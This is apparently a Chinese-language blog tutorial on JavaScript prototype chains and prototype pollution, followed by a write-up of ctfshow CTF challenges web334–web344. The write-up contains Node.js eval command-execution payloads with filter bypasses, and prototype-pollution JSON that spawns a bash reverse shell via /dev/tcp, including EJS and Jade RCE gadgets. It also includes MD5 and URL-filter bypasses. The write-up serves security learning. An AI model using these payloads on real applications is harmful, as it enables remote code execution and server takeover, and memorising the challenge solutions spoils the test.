JavaScript原型链和原型链污染
前置知识
JavaScript中没有引入像类一样的概念,要定义一个类,要以构造函数的方式来定义。
function Foo() {
this.bar = 1
}
new Foo()
Foo
函数的内容,就是Foo
类的构造函数,而this.bar
就是Foo
类的一个属性。
同步和异步:
贴张图,说的很明白了。
什么是原型?
原型:JS中的对象包含了一个prototype的内部属性,这个属性所对应的就是该对象的原型。
js中的所有引用类型(函数 ,数组,对象)都有__proto__属性(隐式原型),而函数除了有__proto__属性,还拥有一个prototype属性(显式原型)。
原型对象(prototype)
当创建一个函数时,该函数会自动带有prototype属性(上面说了),这个属性是一个指针,指向了一个对象,这个对象就是原型对象。 默认情况下,所有原型对象都会自动获得一个constructor(构造函数)
属性,这个属性是一个指向prototype属性所在函数的指针。也就是说,每个构造函数(constructor)都有一个原型对象(prototype)。
理清一下
每个构造函数都有一个 prototype
原型对象,
每个实例对象(object)都有一个 __proto__
属性,指向它的构造函数的原型对象( prototype
)
所有原型对象都会自动获得一个constructor(构造函数)
属性,这个属性是一个指向prototype属性所在函数的指针
function A(){
//console.log ('111');
}
var B=new A();
if (B.__proto__===A.prototype) {//实例对象B的隐式原型(__proto__)指向它构造函数的显式原型(prototype),指向就是恒等于
console.log ('666');
}//输出666
这里B是一个实例对象,访问其__proto__属性-->指向构造函数(A)的原型对象prototype-->构造函数的constructor属性
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性p神的原话。
JavaScript原型链继承
第一条举个例子
function A(){
this.game='cf';
//console.log ('111');
}
function B(){
this.player='168';
}
B.prototype=new A();
let c=new B();
console.log(`${c.game} ${c.player}`);
B类继承了A类的game属性,最后输出cf 168,这里对象c在查找game属性时,过程如下:
1.先在c对象中查找
2.如果找不到,则在c.__proto__中查找
3.如果还找不到,则在c.__proto__.__proto__中查找
4.重复如上操作,直到找不到,null结束。
也就是说 所有的 JavaScript 对象都会从一个 prototype(原型对象)中继承属性和方法。
Object.prototype
Object.prototype是一切对象的根源,根源之上再没有其他根源。比如Object.prototype.__proto__就是null
所有函数的默认原型都是Object的实例,因此默认原型都会包含一个内部指针,指向Object.prototype
。
function A(){
//console.log ('111');
}
var B=new A();
if (B.__proto__.__proto__===Object.prototype) {
console.log ('666');
}//输出666
if (A.prototype.__proto__===Object.prototype) {
console.log ('666');
}//输出666
原型链污染
什么是原型链污染呢?像刚才在继承时举的例子一样,c.__proto__指向了A类的prototype,我们可不可以不修改A类而给A类添加一个属性呢?答案是可以的,这样造成了污染。如下代码:
function A(){
this.game='cf';
//console.log ('111');
}
function B(){
this.player='168';
}
B.prototype=new A();
let c=new B();
console.log(`${c.game} ${c.player}`);.//cf 168
// console.log(c.__proto__);
c.__proto__.game='lol';
c.__proto__['user']='admin';
console.log(c.user);//admin
let D =new B;
console.log(D.game);//lol
我们可以看到上面的输出,我们修改和添加对象c的原型的属性,会影响到另一个对象D(和c具有相同的原型对象),那么,当攻击者控制了一个对象的原型,那么将影响所有的和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
再看一个
let A={
game: 'cf'
}
console.log(A.game)//cf
A.__proto__.game='lol';//修改A的原型,即Object
let B={}
console.log(A.game)//cf 查找顺序的原因
console.log(B.game)//lol
这里的A.__proto__就是Object.prototype。
利用手段
1.merge等对象递归合并操作
2.克隆对象(clone)
举个merge的例子:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
这里的 target[key] = source[key]存在一个赋值的操作,如果key为__proto__,就能进行原型链污染了,
上实战更好理解一点。
ctfshow:
web334
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
//items: [
// {username: 'CTFSHOW', password: '123456'}
// ]
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});//在请求体中看username不能等于CTFSHOW 请求体中的username经过大写转换要等于CTFSHOW 这里使用不存大写就绕过了,然后密码为123456
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){//user返回1 进入if
req.session.regenerate(function(err) {//当前会话错误 登录失败
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;//user.username保存到session的loginUser属性中
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); //登录成功给flag
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
登录Ctfshow 123456即可。
web335
给出一个提示,应该是一个命令执行,之前还没接触过nodejs的命令执行,上网找找。 可以找到child_process模块中的exec
与execSync
函数,他们是模块里面最简单的函数,作用是执行一个固定的系统命令。
child_process.exec(command[, options][, callback])
command:要执行的命令。 options:可选项 callback:当进程终止时使用输出调用。 创建一个shell然后在shell里执行命令,回调函数接收两个参数,error,stdout,然后将执行的结果标准输出
let shell=require('child_process')
shell.exec('dir',(error,stdout) => {
if(err) {
console.log(err);
return;
}
console.log(stdout)//标准输出
})
child_process.execSync(command[, options])
execSync
是exec
的同步版本。
这里直接构造。
/?eval=require('child_process').execSync('ls')
/?eval=require('child_process').execSync('cat f*')
web336
和335一样给了一个eval的提示,但是这道应该是给execSync给禁用了。 使用__filename变量来查看一下当前模块文件的绝对路径。
尝试读取文件。使用nodejs中的fs模块
require('fs').readFileSync('/app/routes/index.js ')
我们可以使用spawnSyc来执行命令,
require('child_process').spawnSync('ls').stdout.toString()//spawnSync返回一个子程序执行结果的对象,通过stdout标准输出,toString()将其转换为字符串
require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()//'cat',['fl001g.txt'] 后面是参数
也可以使用fs模块读取文件
require('fs').readFileSync('fl001g.txt')
在php中我们可以使用拼接绕过,这里也是可以的
eval("require('child_process').exe"%2b"cSync('ls')")
eval("require('child_process').exe"%2b"cSync('cat f*')")
因为+号会被解析为空格,这里编码。
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;//req.query 获取http请求中的查询参数
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
可以看到是一个md5的比较,和php一样,使用数组绕过。
web338
看代码这部分,如果secert中的ctfshow属性等于36dboy,输出flag。
再看这一部分,将空对象user和请求body作为参数调用copy对象,而这个copy函数,很明显的一个原型链污染。
{"username":"1",
"password":"1",
"__proto__":{"ctfshow":"36dboy"}
}
这里直接污染Object,添加一个ctfshow属性。
web339
这里我们是不知道flag的。
我们看这里,在js中函数实际就是一个对象,那么这里query就是一个Function对象。看个例子
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
user = {}
body = JSON.parse('{"__proto__":{"query":"return 1"}}');
copy(user, body)
{ query: Function(query)}
{ query: Function(query)(query)}
console.log(query)//return 1
那么只要污染了query对象,就能够执行命令了。
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}
web340
这里调用copy函数,第一个参数变成了user.userinfo。相当于user对象里面还有一个对象,user.__proto__.__proto__
才是Object。
query还在,那么还污染它。
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}}
web341
ejs rce
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"'); var __tmp2"}}}
再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)
web342-web343
jade 原型链污染rce https://xz.aliyun.com/t/7025
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"');//"}}}
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
url中不能包含 8c,2c,逗号,他们要我们构造的是:
?query={"name":"admin","password":"ctfshow","isVIP":true}
明显是会被匹配到的。
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs会把这几部分拼接。ctfshwo的c要编码是因为"
的url编码为%22,和c结合会被匹配到。
- 感谢你赐予我前进的力量